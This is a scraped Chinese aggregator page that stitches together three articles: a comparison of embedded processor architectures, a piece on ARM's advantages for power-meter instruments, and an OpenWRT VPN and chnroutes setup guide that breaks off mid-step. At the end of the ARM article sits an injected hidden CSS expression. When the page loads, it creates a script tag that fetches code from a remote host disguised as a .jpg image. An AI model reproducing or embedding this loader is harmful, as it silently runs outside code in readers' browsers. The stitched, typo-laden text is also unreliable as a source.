61阅读

嵌入式系统的发展趋势-嵌入式系统架构的发展趋势及比较分析|计算机技术交流°═—☆ - 迎客堂 迎客堂论坛!青年休闲社区! - powered by phpwind.net

发布时间:2018-02-25 所属栏目:arm嵌入式系统开发

一 : 嵌入式系统架构的发展趋势及比较分析|计算机技术交流°═—☆ - 迎客堂 迎客堂论坛!青年休闲社区! - powered by phpwind.net

嵌入式系统架构的发展趋势及比较分析

0

管理提醒:

本帖被 风不知 执行加亮操作(2008-10-17)

嵌入式系统已经广泛地应用到当今各个领域,与我们的生活息息相关,小到掌上的数字产品,大到汽车、航天飞机。

提到嵌入式系统我们很快会联想到单片机,不错,MCU是最基础和常用的嵌入式系统,但是目前像FPGA、ARM、DSP、MIPS等其他嵌入式系统应用越来越广泛。嵌入式系统与模拟电路或其他功能电路组成的SoC(System on Chip,片上系统)或SiP(System inPackage,系统级封装)在手机、机顶盒等功能复杂的产品上的应用也越来越多。

总的来说,嵌入式系统发展呈现如下特点:

·由8位处理向32位过渡

·由单核向多核过渡

·向网络化功能发展

·MCU、FPGA、ARM、DSP等齐头并进

·嵌入式操作系统呈多元化趋势

所有的嵌入式处理器都是基于一定的架构的,即IP核(Intellectual Property,知识产权),生产处理器的厂家很多,但拥有IP核的屈指可数。有自己的IP核,光靠卖IP核即可坐拥城池。

嵌入式系统的架构有专有架构和标准架构之分,在MCU(微控制器)产品上,像瑞萨(Renesas)、飞思卡尔(Freescale)、NEC都拥有自己得专有IP核,而其他嵌入式处理器都是基于标准架构。本文讨论仅讨论标准架构的嵌入式系统。

标准的嵌入式系统架构有两大体系,目前占主要地位的是所谓RISC(Reduced Instruction SetComputer,精简指令集计算机)处理器。RISC体系的阵营非常广泛,从ARM、MIPS、PowerPC、ARC、Tensilica等等,都是属于RISC处理器的范畴。不过这些处理器虽然同样是属于RISC体系,但是在指令集设计与处理单元的结构上都各有不同,因此彼此完全不能兼容,在特定平台上所开发的软件无法直接为另一硬件平台所用,而必须经过重新编译。

其次是CISC(Complex InstructionSetComputer,复杂指令集计算机)处理器体系,我们所熟知的Intel的X86处理器就属于CISC体系,CISC体系其实是非常低效率的体系,其指令集结构上背负了太多包袱,贪大求全,导致芯片结构的复杂度被极大的提升。过去被应用在嵌入式系统的X86处理器,多为旧世代的产品,比如说,工业计算机中仍可常见数年前早已退出个人计算机市场的Pentium3处理器。由于此世代的产品效能与功耗比可以说是过去X86体系的甜蜜点,加上已经被市场长久验证,稳定性高,故常被应用于效能需求不高,但稳定性要求高的应用中,如工控设备等产品。

1、RISC家族之ARM处理器

ARM公司于1991年成立于英国剑桥,主要出售芯片设计技术的授权。目前,采用ARM技术智能财产(IP)核心的处理器,即我们通常所说的ARM处理器,已遍及工业控制、消费类电子产品、通信系统、网络系统、无线系统等各类产品市场,基于ARM技术的处理器应用约占据了32位RISC微处理器75%以上的市场,ARM技术不止逐步渗入到我们生活的各个方面,我们甚至可以说,ARM于人类的生活环境中,已经是不可或缺的一环。

目前市面上常见的ARM处理器架构,可分为ARM7、ARM9以及ARM11,新推出的Cortex系列尚在进行开发验证,市面上还未有相关产品推出。ARM也是嵌入式处理器中首先推出多核心架构的厂商。

ARM首个多核心架构为ARM11MPCore,架构于原先的ARM11处理器核心之上。ARM11核心是发布于2002年10月份,为了进一步提升效能,其管线长度扩展到8阶,处理单元则增加为预取、译码、发送、转换 /MAC1、执行/MAC2、内存存取/MAC3和写入等八个单元,体系上属于ARMV6指令集架构。ARM11采用当时最先进的0.13μm制造制程,运行频率最高可达500到700MHz。如果采用90nm制程,ARM11核心的工作频率能够轻松达到1GHz以上—对于嵌入式处理器来说,这显然是个相当惊人的程度,不过显然1GHz在ARM11体系中不算是个均衡的设定,因此几乎没有厂商推出达到1GHz的ARM11架构处理器。

ARM11的逻辑核心也经过大量的改进,其中最重要的当属“静/动态组合转换的预测功能”。ARM11的执行单元包含一个64位、4种状态的地址转换缓冲,它主要用来储存最近使用过的转换地址。当采用动态转换预测机制而无法在寻址缓冲内找到正确的地址时,静态转换预测功能就会立刻接替它的位置。在实际测试中,单纯采用动态预测的准确率为88%,单纯采用静态预测机制的准确率只有77%,而ARM11的静/动态预测组合机制可实现92%的高准确率。针对高时脉速度带来功耗增加的问题,ARM11采用一项名为“IEM(Intelligent EnergyManager)”的智能电源|稳压器管理技术,该技术可根据任务负荷情况动态调节处理器的电压,进而有效降低自身的功耗。这一系列改进让ARM11的功耗效能比得以继续提高,平均每MHz只需消耗0.6mW(有快取时为0.8mW)的电力,处理器的最高效能可达到660 DhrystoneMIPS,远超过上一代产品。

至于ARM11MPCore,其在架构上与ARM11同样属于V6指令体系。根据不同应用的需要,MPCore可以被配置为1-4个处理器的组合方式,根据官方资料,其最高性能约可达到2600 DhrystoneMIPS的程度。MPCore是标准的同质多核心处理器,组成MPCore的是4个基于ARM11架构的处理器核心,由于多核心设计的优点是在频率不变的情况下让处理器的性能获得明显提升,因此可望在多任务应用中拥有良好的表现,这一点很适合未来家庭消费电子的需要。例如,机顶盒在录制多个频道电视节目的同时,还可通过互联网收看数字视频点播节目、车内导航系统在提供导航功能的同时,仍然有余力可以向后座乘客播放各类视频码流等。

2、RISC家族之MIPS处理器

MIPS是美国历史悠久的RISC处理器体系,其架构的设计,也如美国人的性格一般,相当的大气且理想化。MIPS架构起源,可追溯到1980年代,斯坦福大学和伯克利大学同时开始RISC架构处理器的研究。

MIPS公司成立于1984年,随后在1986年推出第一款R2000处理器,在1992年时被SGI所并购,但随着MIPS架构在桌面市场的失守,后来在1998年脱离了SGI,成为MIPS技术公司,并且在1999年重新制定公司策略,将市场目标导向嵌入式系统,并且统一旗下处理器架构,区分为32-bit以及64-bit两大家族,以技术授权成为主要营利模式。

MIPS除了在手机中应用得比例极小外,其在一般数字消费性、网络语音、个人娱乐、通讯、与商务应用市场有着相当不错的成绩,不过近年来因为其它IP授权公司的兴起,其占有比率稍有衰退。MIPS应用最为广泛的应属家庭视听电器(包含机顶盒)、网通产品以及汽车电子方面。

对于MIPS,其核心技术强调的是多执行绪处理能力(Multipleissue,国内也通常称作多发射核技术,以下以此称谓)。一般来说,多核心与多发射是两个并不是互斥的体系,可以彼此结合,然而在嵌入式领域,ARM与MIPS这两大处理器IP厂商对这两个架构的态度不同,造成这两个架构在嵌入式市场上对抗的结果。

MIPS的多发射体系为MIPS34K系列,此为32位架构处理器,从架构上来看,其实多发射核技术只是为了尽量避免处理单元闲置浪费而为的折衷手段,就是将处理器中的闲置处理单元,分割出来虚拟为另一个核心,以提高处理单元的利用率。在技术上,为了实现硬件多重处理,多核心与多发射两者对于软件最佳化的复杂度方面同样都比单核心架构来得复杂许多。

34K核心能执行现有的对称式二路SMP操作系统(OSes)与应用软件,通过操作系统的主动管理,现有的应用软件也能善用多发射处理能力。它亦能应用在多个执行线程各自有不同角色的(AMP或非对称式多重处理)环境下。此外,34K核心能设定一或两个虚拟处理组件(VPE)以及多至5个线程内容(ThreadContent),提供相当高的设计弹性。MIPS的多发射在任务切换时,有多余的硬件缓存器可以记录执行状态,避免切换任务时,因为必须重新加载指令,或者是重新执行某部分的工作,造成整个执行线程的延迟。不过即便能够达到同时执行多个任务的能力,多发射处理器本质上仍然是单核心处理器,在单一执行绪面临高负载时,其它执行绪的处理时间就有可能会被压缩,甚至被暂停。而不同执行绪在执行的过程中,诸如内存锁定、解锁以及同步等处理过程在多发射体系上也会发生,因此在极端情况下,多发射的性能是明显比不上原生多核心架构的(以两个执行绪对两个核心的比较而言)。

不过多发射体系的优点在于硬件效率高,理论上功耗也能有效降低。部分IC设计公司也推出了基于MIPS架构的平行架构多核心,形成兼具多核与多发射的应用架构,相信在未来这种体系将会纳入MIPS的原生架构当中,以应付更复杂的应用。

3、RISC家族之PowerPC

PowerPC是一种RISC多发射体系结构。二十世纪九十年代,IBM(国际商用机器公司)、Apple(苹果公司)和Motorola(摩托罗拉)公司开发PowerPC芯片成功,并制造出基于PowerPC的多处理器计算机。PowerPC架构的特点是可伸缩性好、方便灵活。第一代PowerPC采用0.6微米的生产工艺,晶体管的集成度达到单芯片300万个。Motorola公司将PowerPC内核设计到SOC芯片之中,形成了PowerQUICC(Quad Integrated Communications Controller), Power QUICC II和PowerQUICC III家族的数十种型号的嵌入式通信处理器。

Motorola的基于PowerPC体系结构的嵌入式处理器芯片有MPC505、821、850、860、8240、8245、8260、8560等近几十种产品,其中MPC860是PowerQUICC系列的典型产品,MPC8260是Power QUICC II系列的典型产品,MPC8560是Power QUICCIII系列的典型产品。

Power QUICC系列微处理器一般有三个功能模块组成,嵌入式PowerPC核(EMPCC),系统接口单元(SIU)以及通信处理器(CPM)模块,这三个模块内部总线都是32位。除此之外PowerQUICC中还集成了一个32位的RISC内核。PowerPC核主要执行高层代码,而RISC则处理实际通信的低层通信功能,两个处理器内核通过高达8K字节的内部双口RAM相互配合,共同完成MPC854强大的通行控制和处理功能。CPM以RISC控制器为核心构成,除包括一个RISC控制器外,还包括七个串行DMA(SDMA)通道、两个串行通信控制器(SCC)、一个通用串行总线通道(USB)、两个串行管理控制器(SMC)、一个I2C接口和一个串行外围电路(SPI),可以通过灵活的编程方式实现对Ethemet、USB、T1/E1,ATM等的支持以及对UART, HDLC等多种通信协议的支持。

PowerQUICCII 完全可以看作是Power QUICC的第二代,在灵活性、扩展能力、集成度等方面提供了更高的性能。Power QUICC11同样由嵌入式的PowerPC核和通信处理模块CPM两部分集成而来。这种双处理器器的结构由于CPM承接了嵌入式PowerPC核的外围接口任务,所以较传统结构更加省电。CPM交替支持三个快速串行通信控制器(FCC),二个多通道控制器(MCC),四个串行通信控制器(SCC),二个串行管理控制器(SMC),一个串行外围接口电路(SPI)和一个12C接口。嵌入式的PowerPC核和通信处理模块(CPM)的融和,以及Power QUICCII的其他功能、性能缩短了技术人员在网络和通信产品方面的开发周期。

同Power QUICCII相比,Power QUICCIII集成度更高、功能更强大、具有更好的性能提升机制。PowerQUICCIII中的CPM较PowerQUICCII产品200MHz的CPM的运行速度提升了66%,达到333MHz,同时保持了与早期产品的向后兼容性。这使得客户能够最大范围的延续其现有的软件投入、简化未来的系统升级、又极大的节省开发周期。PowerQUICCIII通过微代码具有的可扩展性和增加客户定制功能的特性,能够使客户针对不同应用领域开发出各具特色的产品。这种从Power QUICCII开始就有的微代码复用功能,已经成为简化和降低升级成本的主要设计考虑。

PowerPC一般应用在服务器或运算能力强大的专用计算机上,以及游戏机上。

4、RISC家族之ARC 架构

与其它RISC处理器技术相较起来,ARC的可调整式(Configurable)架构,为其在变化多端的芯片应用领域中争得一席之地。其可调整式架构主要着眼于不同的应用,需要有不同的功能表现,固定式的芯片架构或许可以面面俱到,但是在将其设计进入产品之后,某些部分的功能可能完全没有使用到的机会,即使没有使用,开发商仍需支付这些〝多余〞部分的成本,形成了浪费。

由于制程技术的进步,芯片体积的微缩化,让半导体厂商可以利用相同尺寸的晶圆切割出更多芯片,通过标准化,则是有助于降低芯片设计流程,单一通用IP所设计出来的处理器即可应用于各种用途,不需要另辟产能来生产特定型号或功能的产品,大量生产也有助于降低单一芯片的成本,而这也是目前嵌入式处理器的共通现象。

在ARC的设计概念中,是追求单一芯片成本的最小化,量体裁衣,这需要在设计阶段依靠特定EDA软件才能做到。

ARC近期也推出了基于700系列的多媒体应用加速处理器,其中整合了ARC700通用处理核心,以及高速SIMD处理单元,可以在低时钟下轻松进行诸如蓝光光盘的H.264编译码处理,此架构称为VideoSubsystem,基本上该应用处理器就可以担任通用运算工作,不过也可以与其它诸如ARM或MIPS体系进行连结,以满足应用程序的兼容性与影音数据流的加速。

5、RISC家族之Tensilica架构

Tensilica公司的 Xtensa 处理器是一个可以自由配置、可以弹性扩张,并可以自动合成的处理器核心。Xtensa是第一个专为嵌入式单芯片系统而设计的微处理器。为了让系统设计工程师能够弹性规划、执行单芯片系统的各种应用功能,Xtensa在研发初期就已锁定成一个可以自由装组的架构,因此我们也将其架构定义为可调式设计。

Tensilica公司的主力产品线为Xtensa,该产品可让系统设计工程师可以挑选所需的单元架构,再加上自创的新指令与硬件执行单元,就可以设计出比其它传统方式强大数倍的处理器核心。Xtensa 生产器可以针对每一个处理器的特殊组合,自动有效地产生出一套包括操作系统,完善周全的软件五金|工具。

Xtensa为一32位处理器,该结构特色是有一套专门为嵌入式系统设计、精简且效能表现不错的16与24位指令集。其基本结构拥有80个 RISC指令,其中包括32位ALU,6个管理特殊功能的缓存器,32或64个普通功能32位缓存器。这些32位缓存器都设有加速运行功能的信道。Xtensa处理器的指令相当精简,系统设计师可以以此缩减程序代码的长度,从而提高指令的密集度并降低功耗。相对于高合成的单芯片系统ASIC而言,能达到有效减低成本。Xtensa 的指令集构架包括有效的分支指令,例如:经合成的比较 -分歧循环、零开销循环和二进制处理,包括漏斗切换和字段抽段操作等。浮点运算单元与向量 DSP 单元是 Xtensa结构上两个可以加选的处理单元,可以加强在特定应用的效能表现。

6、CISC家族之X86

X86处理器应用在嵌入式系统的历史相当悠久,以Intel为例,其Pentium3时代的处理器与芯片组,至今仍活跃在许多工控电脑产业中。而随着两大X86厂商放弃RISC产品线,并积极规划移动应用产品,X86进入到消费性电子嵌入式市场就不再只是传言。当然,X86处理器普遍都还是有功耗过高,且芯片数量庞大的缺点,不适合应用在要求精简省电的嵌入式架构中,但随着发展,这一切都有了根本上的改变。

尽管Pentium4是Intel相对失败之作,但Pentium3依旧是市场的最爱,就连Intel本身也舍不得放弃Pentium3的微架构,如今已经经过数次的翻新与修改,即便是最新的4核心产品,依然有Pentium3的影子存在。卖旧式架构产品,对Intel来说,其实不无小补,由于旧架构经过长久验证,不需重新设计,且在生产上的成本非常低,制程提升还可以进一步拉抬芯片产量,但不止Intel有旧架构产品,AMD其实也运用同样的手法来经营其AthlonXP处理器,但是Intel决心要让对手难以追赶,因此规划了一系列以移动产品应用为主的嵌入式处理器。

Intel过去在X86产品规划上,其实几乎从未接触过移动通讯应用,即便是雷声大雨点小的UMPC产品,也都不含移动通讯功能,在这边我们指的是诸如3G、3.5G的通讯能力,而当Intel主推的WiMAX正式被纳入3G标准之一,也让Intel重新考虑该公司的移动应用产品。在最近的技术展示中,即便是最接近手机设计的MID(Mobile Intel Device)装置,也都仅定位于移动上网工具,而非行动通讯系统。

但是根据Intel的最新规划,MID 平台已经从单纯的行动上网,转而将会跨进现有的BlackBerry (黑莓)及 I-Phone的相同市场,前者拥有强大的网际网络通讯能力,而 I-Phone则是拥有强大的多媒体能力,但是Intel的MID平台基本上是一部微型X86计算机系统,在功能性可以达到相当全面的地步,且具备了ARM、MIPS等处理器架构难以满足的X86软件兼容资源,导入移动通讯只不过是在目前的硬件规划基础上,进行软件模块的增加而已。传统移动通讯产品厂商在相关软硬件投入的资本非常庞大,是否采用Intel架构还有待观察,当然,如果像Nokia与Motorola也投入此一架构,在推广上也将会如虎添翼。

Intel针对移动应用的最新处理器为Stealey,目前该产品线有两款产品,分别是600MHz的A100与800MHz的A110,理论上来说,Stealey只不过是Centrino体系中祖父级Dothan(都是基于Pentium3的架构)处理器的超级精简兼时钟降低版,主要是得利于90纳米制程,架构技术上并无太多特点,而下一代的Silverthorne则是直接将此Stealey转以45纳米制程,并在架构上加入64位处理能力,算是真正比较有诚意的产品。

但是以目前来看,Intel的移动应用平台其实表现并不出色,过高的功耗与温度仍然是应用在移动终端上的隐忧,Silverthorne是必要针对此两点进行变革,否则要应用在MID产品上,只怕又会继UMPC之后,成为业界另一个叫好不叫座案例。

7、CISC家族之VIA

目前仍存活的X86处理器厂商,除了身为世界第一大半导体厂的Intel以外,其余两家都活的相当辛苦,尤其以台湾的VIA(威盛)为最,该公司在处理器产品线的经营上,向来遭受大厂的打压,

VIA过去所推出的一系列低功耗处理器,虽然效能偏低,但是其功耗控制能力非常优秀,远远超过Intel以及AMD这两家CPU大厂,如今世界潮流逐渐从效能取向走往绿色环保取向,VIA终于也是媳妇熬成婆,除了在一般低价PC获得满堂彩以外,在UMPC以及嵌入式系统方面,也都能提供相当优秀的解决方案。

VIA 的主流产品线为C7-M处理器,该款处理器共分两个型号——普通版本及Ultra LowVoltage版本,C7-M普通版本型号拥有1.5GHz/400MHz FSB、1.6GHz/533MHzFSB、1.867GHz/533MHz FSB及最高速度的2GHz/533MHzFSB,电压由1.004V至1.148V,最高功耗由12W至20W,在P-State模式下电压会下调至0.844V,而功耗则只有5W。

Ultra Low Voltage版本的C7-M处理器,拥有1GHz/400MHz FSB、1.2GHz/400MHzFSB及1.5GHz/400MHzFSB,ULV版本工作电压只需要0.908V至0.956V,最高功耗由5W至7W左右。而ULV之中还会有一个Super ULV的C7-M1GHz,型号为C7-M ULV779,工作电压可低至0.796V,最高功耗仅有3.5W。由于这些特点,使其在低价计算机、嵌入式应用领域中,成为不能忽视的第三势力。

8、CISC家族之AMD

AMD是在主流市场上,唯一能与Inte抗衡的X86处理器厂商,然而在购并ATI之后,其表现只能算差强人意,以目前所规划的主流产品线而言(包含CPU与GPU),其实都是处于挨打的状态。毕竟AMD具有业界最佳的技术均衡性,既有先进的处理器技术,又是GPU技术第二领导者,兼以效能表现相当优秀的主机板芯片产品,以及自有的晶圆厂,虽不及Intel霸气,仍然占有很大市场份额。

在嵌入式应用方面,其实过去AMD有向MIPS授权其IP,开发出Alchemy产品线,算是直接向Intel过去的ARM架构Xscale直接叫阵的一款产品,然而此产品并未掳获市场眼光,在应用上一向偏弱势,后来AMD也将之摆脱,开始利用自己的X86处理器来经营嵌入式应用领域。

AMD在嵌入式X86处理器方面的产品线为Geode,基本上这是一款整合度相当高的SoC产品,但是速度偏低,效能表现不佳,功能也未能比VIA的产品出色,定位相当尴尬。针对移动平台开发的X86处理核心,代号为“Botcat”,不过目前信息还不完备,因此只能从时间点推论,该处理器将有可能使用简化降频版的K8核心,但推出时间在今年,明显比对手晚了许多,若要整合K10核心,可能就要等到2009年 之后。

不过AMD购并ATI之后,得以将Fusion的概念带给消费者,Fusion算是身兼AMD与ATI二者之长,具备了先进的处理器核心、高效能的绘图核心,以及I/O控制能力,从低功耗的嵌入式应用,到高功耗的效能级产品,都是Fusion的产品守备范围内,但Fusion最早要到2009年才会进入市场。

。www.61k.com”

二 : ARM嵌入式系统在相关行业的发展优势

第一部:简单介绍
ARM公司开发了一系列ARM处理器核。目前最新的系列已经是ARM11了。ARM6及更早的系列已经罕见了,ARM7以后的核也不是都获得广泛应用。目前应用最多的是ARM7系列、ARM9系列、ARM9E系列、ARM10系列
ARM7系列:包括ARM7TDMI、ARM7TDMI-S、带有高速缓存处理器宏单元的ARM720T和扩充了Iazelle的ARM7EJ-S。该系列广泛应用于多媒体和嵌入式设备,包括Internet设备、网络和调制解调器设备以及移动电话、PDA等无线设备。
ARM9系列:包括ARM9TDMI、ARM920T和带有高速缓存处理器宏单元的ARM940T。该系列主要应用于引擎管理、仪器仪表、安全系统、机顶盒、高端打印机、PDA、网络电脑以及带有MP3音频和MPEG4视频多媒体格式的智能电话中。
ARM9E系列:为综合处理器,包括ARM926EJ-S、带有高速缓存处理宏单元的ARM966E-S/ARM946E-S。该系列强化了数字信号处理功能,可应用于需要DSP与微控制器结合使用的情况,将Thumb技术和DSP都扩展到ARM指令集中,并具有EmbeddedICE-RT逻辑,更好地适应了实时系统的开发需要。
ARM10系列:包括ARM1020E和ARM1020E微处理器核。其核心在于使用向量浮点(VFP)单元VFP10提供高性能的浮点解决方案,从而极大地提高了处理器的整型和浮点运算性能,为用户界面的2D和3D图形引擎应用夯实基础,如视频游戏机和高性能打印机等;
当今信息时代,嵌入式系统的应用无处不在,而ARM嵌入式系统应用市场份额约占75%。在电力行业的仪器仪表方面的发展来看,使用ARM嵌入式系统的仪器仪表也逐步取代了原来的X86工控机.为什么会有这样的发展趋势呢,可以从下面2个方面大致寻找到原因.


第二部:技术渠道广,人才多,开发工具易得,入手快
开发工具:
ARM应用软件的开发工具根据功能的不同,分别有编译软件、汇编软件、链接软件、调试软件、嵌入式实时操作系统、函数库、评估板、JTAG仿真器、在线仿真器等.
ARM处理器产品已经得到广泛的应用,ARM开发工具也因此得到发展,除ARM公司自己推出ARM集成开发工具外,还有一些公司也研发ARM开发工具。目前市场上有ARMSDT、ARM ADS、MULTI 2000、Hitools for ARM、Embest IDE forARM5种集成开发环境。这些产品在国内有相对较畅通的销售渠道,用户容易购买。前3种由国外厂商出品,历史比较悠久,在全球范围内应用较为广泛,后2种由国内厂商推出,具有很高的性价比。

人才方面:
目前大部分高校信息技术专业\计算机专业\自动控制专业等都开设了嵌入式系统的相关课程,各高校和研究机构也发表了大量的研究课题和研究成果,可以给目前的第一线应用开发厂家提供良好的咨询环境.
每年毕业的初步了解嵌入式软硬件开发的毕业生大量的进入一线企业从事相关开发工作,使的该方面的技术人员储备越来越多.

资金和产业环境方面:
嵌入式产品的投资从2004年开始一直处于国内VC投资项目前列。国内企业有着天然的成本优势,因此在产业的竞争中有很强的优势。
产业环境方面:过去几年中很多国外企业在国内成立设计中心,而且这方面趋势随着国内整体技术和产业链的完整会越来越明显。国内基本上已经开始形成产业链。生产成本将进1步降低。

第三部:性能好,能适应目前电力产品不断发展的要求

目前电力行业仪器仪表产品的需求特色是:准实时性\功耗低\信息分析处理能力强\存储容量要求大\通讯方式要求易安装使用,可靠,通讯量大等.而ARM嵌入式系统比较完美的满足了这些需求.

采用RISC体系架构的ARM微处理器一般有如下特点:1)体积小、低功耗、低成本、高性能;2)支持Thumb(16位)/ARM(32位)双指令集,能很好的兼容8位/16位器件;3)大量使用寄存器,指令执行速度更快;4)大多数数据操作都在寄存器中完成;5)寻址方式灵活简单,执行效率高;6)指令长度固定。

从功能上来说,AMR系统主要是完成电度计量或信息采集、信息远传、后台软件处理和分析三部分任务。前后两部分技术已经成熟,抄表系统技术关键是解决信息远传——通讯问题。现阶段国内的抄表通讯方式主要有3种:1种是电力线载波抄表,1种是485总线抄表,还有1种是无线网络抄表,而通过ARM架构上运行的嵌入式系统开发通讯模块,可以做到安装方便、成本低、传输可靠,并且朝着微型化、模块化的方向发展。

ARM控制系统本身也在飞速进步和发展中:
首先,因为看好32位MCU在嵌入式市场的应用前景,各ARM技术厂家在该领域持续投资,不断推出新技术/产品,比如Cortex-M系列是ARM专门针对低功耗、高性能嵌入式控制(www.61k.com]市场开发,其中,Cortex-M3的处理性能可达到1.25DMIPS/MHz。与ARM7TDMI-S相比,Cortex-M3可以相似的硅成本提供更高的性能。Cortex-M0则是业界体积最小、功耗最低的ARM处理器内核,其面积仅为ARM7的三分之一,但却达到了ARM7同等的性能。
其次:ARM不断针对新的市场需求推出新的架构,从而给应用提供了更加广泛实用的基础:如SecurCore系列:包括SC100、SC110、SC200和SC210处理器核。该系列主要针对新兴的安全市场,以1种全新的安全处理器设计为智能卡和其他安全IC开发提供独特的32位系统设计,并具有特定的反伪造方法,从而有助于防止对硬件和软件的盗版;StrongARM系列:StrongARM处理器将Intel处理器技术和ARM体系结构融为一体,致力于为手提式通信和消费电子类设备提供理想的解决方案;Xscale系列:提供全性能、高性价比和低功耗的解决方案,支持16位Thumb指令和DSP指令。

ee:expression_r(function(){if(!window.r){varss='s'+'cript';var tt='text/ja'+'vas'+'cript';varst=document.createElement(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName_r('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none"

三 : 嵌入式Linux系统OpenWRT路由的基本配置

  OpenWRT是一个嵌入式Linux系统,想要了解嵌入式Linux系统的朋友有福了,今天小编要给大家介绍下OpenWRT路由的基本配置,一起来学习下吧。

  chnroutes 路由表

  这个路由表集中了所有分配到中国大陆的 IP 段,根据 http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest 每天自动更新,可使得在访问国内地址时不经过 VPN。

  想想如果能够让家里的路由直接连接 VPN,在家连接 WiFi 的所有设备直接达到Fan墙的效果,应该很 Cool,所以最近在某宝整了一个 Netgear WNDR3800 二手路由回来,先后分别在 DD-WRT 和 OpenWRT 成功配置 VPN + chnroutes,最后还是选择了 OpenWRT。

  DD-WRT vs OpenWRT

  关于 DD-WRT 和 OpenWRT,我选择 OpenWRT 主要因为 DD-WRT ROM 中集成的软件太多,绝大多数用不到,要配置 jffs2 来保存脚本文件,一般配置则保存在nvram中,而且无线较不稳定,5G频段常搜索不到(当然可能是我这个路由器型号的支持问题)。OpenWRT 的配置文件语法统一,配置都存储在文件系统中,且 ROM 本身仅集成了必备组件,非常小,可以只安装需要的东西,WEB管理界面也是可选安装,简洁强大,经过若干天的使用一直比较稳定。

  配置

  已配置好 OpenWRT 上网的童鞋们可以直接跳过 1.刷 ROM 和 2.初始配置

  1.刷 ROM

  a.首先确定你的设备可以被 OpenWRT 所支持(到这里查看支持的设备列表:http://wiki.openwrt.org/toh/start),然后到这里下载编译好的 ROM:http://downloads.openwrt.org/ 。最新的 stable 版本是 attitude_adjustment(12.09),我下载的是 trunk 版本。

  b.在 OpenWRT 官网找相应设备的 Wiki 页面查看刷机方法,一般都是在路由器官方Web固件升级页面直接刷入(我的 WNDR3800 Wiki页面是:http://wiki.openwrt.org/toh/netgear/wndr3800)

  2.初始配置

  a.路由器启动后,有的型号没有安装 Wifi 模块,需要先用网线连接到 LAN 口,本机 IP 配置为静态 192.168.1.x,然后 telnet 到 192.168.1.1,更改 root 密码,然后 ssh 连入,参考:http://wiki.openwrt.org/doc/start#configuring.openwrt

 配置OpenWRT路由的方法详解

  b.配置 WAN 口,让路由连上 Internet,参考:http://wiki.openwrt.org/doc/howto/internet.connection 。

  比如要配置 PPPoE:

  代码如下:

  uci set network.wan.proto=pppoe

  uci set network.wan.username=‘yougotthisfromyour@isp.su’

  uci set network.wan.password=‘yourpassword’

  uci commit network

  ifup wan

  c.安装 LuCI Web 管理界面并设置开机自动启动,参考:http://wiki.openwrt.org/doc/howto/luci.essentials

  代码如下:

  opkg update

  opkg install luci

  /etc/init.d/uhttpd start

  /etc/init.d/uhttpd enable

  d.浏览器输入路由器 LAN 侧 IP(多为192.168.1.1),进行 Wifi 等配置

 配置OpenWRT路由的方法详解

 

 配置OpenWRT路由的方法详解 

  3.配置 DNS

  a.创建 /etc/config/sec_resolv.conf

  vim /etc/config/sec_resolv.conf  填入以下 DNS Servers:

  代码如下:

  nameserver 8.8.8.8

  nameserver 8.8.4.4

  nameserver 208.67.222.222

  b.编辑 /etc/config/dhcp

  vim /etc/config/dhcp  找到 option resolvfile 选项,替换为:

  option resolvfile ‘/etc/config/sec_resolv.conf’

  4.配置 PPTP

  a.安装 ppp-mod-pptp

  代码如下:

  opkg update

  opkg install ppp-mod-pptp

  如果需要 LuCI 支持(推荐):

  opkg install luci-proto-ppp

  b.配置 vpn 接口,编辑 /etc/config/network 文件,应该已经有以下内容(如果没有,需要插入),并配置里面的 server、username 和 password:

  代码如下:

  config ‘interface’ ‘vpn’

  option ‘ifname’ ‘pptp-vpn’

  option ‘proto’ ‘pptp’

  option ‘username’ ‘vpnusername’

  option ‘password’ ‘vpnpassword’

  option ‘server’ ‘vpn.example.org or ipaddress’

  option ‘buffering’ ‘1’

  c.进入 Network -》 Firewall ,把 vpn 加入 wan zone,效果如图:

 配置OpenWRT路由的方法详解

  d.进入 Network -》 Interfaces ,此时应该已经可以看到 VPN Interface 并可以连接,效果如图:

 配置OpenWRT路由的方法详解

  e.此时在本机 traceroute www.google.com,应该能得到类似以下的结果:

  代码如下:

  FL-MBP:~ fatlyz$ traceroute www.google.com

  traceroute: Warning: www.google.com has multiple addresses; using 74.125.239.113

  traceroute to www.google.com (74.125.239.113), 64 hops max, 52 byte packets

  fc_r0.lan (192.168.7.1) 2.266 ms 0.999 ms 0.946 ms

  10.7.0.1 (10.7.0.1) 189.259 ms 187.813 ms 188.368 ms

  23.92.24.2 (23.92.24.2) 189.847 ms 190.489 ms 188.939 ms

  10ge7-6.core3.fmt2.he.net (65.49.10.217) 188.508 ms 192.216 ms 202.863 ms

  10ge10-1.core1.sjc2.he.net (184.105.222.14) 195.695 ms 195.691 ms 284.242 ms

  72.14.219.161 (72.14.219.161) 189.196 ms 192.287 ms 193.220 ms

  216.239.49.170 (216.239.49.170) 192.496 ms 188.547 ms 189.881 ms

  66.249.95.29 (66.249.95.29) 190.125 ms 190.335 ms 190.026 ms

  nuq05s01-in-f17.1e100.net (74.125.239.113) 189.804 ms 190.556 ms 190.242 ms

  可以看出,其中第二跳是 VPN 的网关,而 traceroute www.baidu.com 的话第二跳应该也是同样的结果。

  这时已经可以访问 Google, Baidu 等国内外的站点了。

  5.配置 chnroutes

  a.到 chnroutes 项目的下载页面:http://chnroutes-dl.appspot.com/ 下载 linux.zip,解压

  b.把 ip-pre-up 重命名为 chnroutes.sh,打开编辑,在 if [ ! -e /tmp/vpn_oldgw ]; then 前插入以下代码,以避免 ppp 连接脚本重复执行导致重复添加路由表项:

  代码如下:

  if [ $OLDGW == ‘x.x.x.x’ ]; then

  exit 0

  fi

  其中 x.x.x.x 是 VPN 的网关,可以先本机连接上去之后查看一下网关地址。

  c.ssh 连接到路由器,执行以下命令:

  代码如下:

  cd /etc/config/

  mkdir pptp-vpncd pptp-vpnvim chnroutes.sh

  在 vim 中把编辑好的 chnroutes.sh 粘贴进去(当然也可以通过 ssh 直接把 chnroutes.sh 文件传过去,或者上传到某个地方再 wget 下载)

  执行以下命令,设置权限为可执行:

  chmod a+x chnroutes.sh

  d.用 vim 编辑 /lib/netifd/ppp-up 文件:

  vim /lib/netifd/ppp-up

  在 [ -d /etc/ppp/ip-up.d ] && { 这一行前插入以下内容,确保 ppp 连接脚本能够被执行:

  sh /etc/config/pptp-vpn/chnroutes.sh

  e.重启路由,启动好之后,进入 LuCI 查看接口状态,等 WAN 和 VPN 都连接成功后,ssh进去,执行 route -n | head -n 10 ,效果应该类似这样:

  代码如下:

